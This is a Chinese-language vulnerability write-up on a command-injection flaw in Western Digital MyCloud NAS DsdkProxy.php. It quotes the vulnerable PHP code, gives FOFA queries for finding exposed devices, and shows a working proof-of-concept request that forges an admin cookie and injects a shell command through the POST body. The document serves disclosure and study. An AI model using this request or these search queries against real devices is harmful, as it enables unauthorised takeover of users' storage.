漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS DsdkProxy.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "
漏洞分析
直接看 DsdkProxy.php 其业务实现逻辑如下
<?php
include ("../lib/login_checker.php");
/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1) {
http_response_code(401);
goto __exit;
}
$postOrPutRequest = ($_SERVER['REQUEST_METHOD'] == 'POST' || $_SERVER['REQUEST_METHOD'] == 'PUT');
$curlCommand = 'sudo curl -i -s --unix-socket "/var/run/wdappmgr.sock" -X ';
$curlCommand .= $_SERVER['REQUEST_METHOD'];
$curlCommand .= ' ';
if ($postOrPutRequest) {
$curlCommand .= ' -d ';
$curlCommand .= '\'';
$curlCommand .= file_get_contents('php://input');
$curlCommand .= '\'';
}
$curlCommand .= ' ';
$curlCommand .= 'http://localhost/';
$curlCommand .= $endpoint;
if (!$postOrPutRequest && $_SERVER['QUERY_STRING'] != null) {
$curlCommand .= '?';
$curlCommand .= $_SERVER['QUERY_STRING'];
}
$curlCommand .= ' 2>&1';
$output = shell_exec($curlCommand);
$startPos = strpos($output, ' ');
$httpCode = substr($output, $startPos + 1, 3);
$body = "";
if(($pos = strpos($output, '[')) !== false || ($pos = strpos($output, '{')) !== false) {
$body = substr($output, $pos);
} else {
$body = $output;
}
header('Content-Type: application/json');
http_response_code($httpCode);
echo $body;
__exit:
?>
当处理 POST 或 PUT 请求时,它会将请求体内容 (file_get_contents('php://input')) 直接插入到 curl 命令的 -d 参数中,并且仅使用单引号进行包裹。攻击者可以通过在请求体中注入单引号来闭合现有字符串,然后注入任意的 curl 参数或 shell 命令,因为最终的命令字符串会被 shell_exec() 执行,导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。
漏洞复现
POST /web/dsdk/DsdkProxy.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin
Content-Type: application/x-www-form-urlencoded
' $(sleep 3) '

成功延时 3 秒


